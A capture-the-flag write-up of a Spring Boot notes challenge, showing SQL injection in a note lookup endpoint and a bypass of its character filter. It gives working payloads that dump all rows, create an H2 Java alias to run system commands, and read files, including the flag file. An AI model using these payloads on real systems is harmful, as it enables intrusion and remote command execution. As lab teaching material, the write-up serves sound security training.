Pentest Notes
Box description
People-first web application projects are always a boring, like a note or a tic tac toe game, so I have created an upgraded version called 'Pentest Note'!
Challenge Description
This challenge presents us with a web application built using Spring Boot, which provides a simple interface for registration and login. Upon logging in, we are shown three notes:
Clicking on each note redirects us to a page displaying the content of that specific note:
Code Review
NoteController.java
The NoteController.java
file handles note retrieval based on a name
parameter passed in an HTTP request:
@RestController
@RequestMapping("/api")
public class NotesController {
[...]
@PostMapping("/note")
public ResponseEntity < ? > noteByName(@RequestParam String name, HttpSession httpSession) {
if (httpSession.getAttribute("username") == null) {
return ResponseEntity.status(HttpStatus.UNAUTHORIZED).body("unauthorized");
}
if (name.contains("$") || name.toLowerCase().contains("concat")) {
return ResponseEntity.status(HttpStatus.FORBIDDEN).body("Bad character in name :)");
}
String query = String.format("Select * from notes where name ='%s' ", name);
List < Object[] > resultList = entityManager.createNativeQuery(query).getResultList();
List < Map < String, Object >> result = new ArrayList < > ();
for (Object[] row: resultList) {
Map < String, Object > rowMap = new HashMap < > ();
rowMap.put("ID", row[0]);
rowMap.put("Name", row[1]);
rowMap.put("Note", row[2]);
result.add(rowMap);
}
return ResponseEntity.ok(result);
}
}
Key Observations:
- The
noteByName
method takes in aname
parameter and checks if the user is logged in. If not, it returns an unauthorized response. - It further checks if the
name
parameter contains the character$
or the termconcat
, blocking requests containing either. - The
name
parameter is then passed directly into a SQL query without sanitization, making the query vulnerable to SQL Injection.
Aplication.properties
The application uses an H2 in-memory database to store the notes, as indicated by the configuration in application.properties
:
spring.application.name=PentestNotes
spring.datasource.url=jdbc:h2:mem:notedb
spring.datasource.driverClassName=org.h2.Driver
spring.jpa.database-platform=org.hibernate.dialect.H2Dialect
spring.jpa.defer-datasource-initialization=true
spring.http.encoding.charset=UTF-8
spring.mvc.view.charset=UTF-8
Searching for H2 database and SQL injection references online, we find an h2-exploit script that can assist in exploiting this vulnerability.
Exploitation - SQL Injection
Initial Testing
To verify the SQL injection vulnerability, we send a request with a payload containing a single quote '
in the name
parameter. This generates an error, confirming that the input is processed directly in the SQL query.
Proof of Concept (PoC)
To test further, we use a classic SQL injection payload:
1' or '1'='1
The application returns the following response:
[
{
"Note" : "One ' to rule them all",
"ID" : 1,
"Name" : "SQL Injection"
},
{
"Note" : "Script alert 1 !!!!!!!!!",
"ID" : 2,
"Name" : "Cross Site Scripting"
},
{
"Note" : "IDK, can you tell me? ¯\\_(ツ)_/¯",
"ID" : 3,
"Name" : "Skill issue"
}
]
The response reveals that the injection successfully bypassed the query, displaying all notes in the database. This confirms the SQL injection vulnerability.
Creating an Alias for Code Execution
To fully exploit this, we can use H2’s ALIAS feature to create a Java alias that allows command execution. However, since $
is restricted in the name
parameter, we modify the typical alias creation syntax by using '
instead of $
.
Modified Alias Creation:
CREATE ALIAS EXECVE AS 'String execve(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A"); return s.hasNext() ? s.next() : ""; }'; -- -
Using the following SQL injection payload, we inject the alias into the database:
1'; CREATE ALIAS EXECVE AS 'String execve(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A"); return s.hasNext() ? s.next() : ""; }'; -- -
Upon receiving a 200 OK
response, we confirm that the alias was successfully created.
Executing Commands with the Alias
With the alias created, we can now use UNION SELECT
to invoke EXECVE
and execute system commands. For example, to list the root directory and locate the flag, we use:
1' UNION SELECT NULL, NULL, EXECVE('ls /') --
The response shows:
[
{
"Note" : "app\nbIK4tYUmPNmp_flag.txt\nbin\nboot\ndev\netc\nhome\nlib\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n",
"ID" : null,
"Name" : null
}
]
This output reveals the flag file bIK4tYUmPNmp_flag.txt
.
Reading the Flag file
To read the contents of bIK4tYUmPNmp_flag.txt
, we use the following payload:
1' UNION SELECT NULL, NULL, EXECVE('cat /bIK4tYUmPNmp_flag.txt') --
Alternatively, we can also use H2’s built-in file_read()
method to read files, along with the cast()
method to convert the output to a string format:
1' UNION SELECT NULL, NULL, CAST(FILE_READ('/bIK4tYUmPNmp_flag.txt', NULL) AS VARCHAR) --
The response:
[
{
"Note" : "HTB{f4k3_fl4g_f0r_t35t1ng}",
"ID" : null,
"Name" : null
}
]
We successfully retrieved the fake flag! We can now use the same technique to get the real flag.
Pentest Notes has been Pwned!
Congratulations
0bytes, best of luck in capturing flags ahead!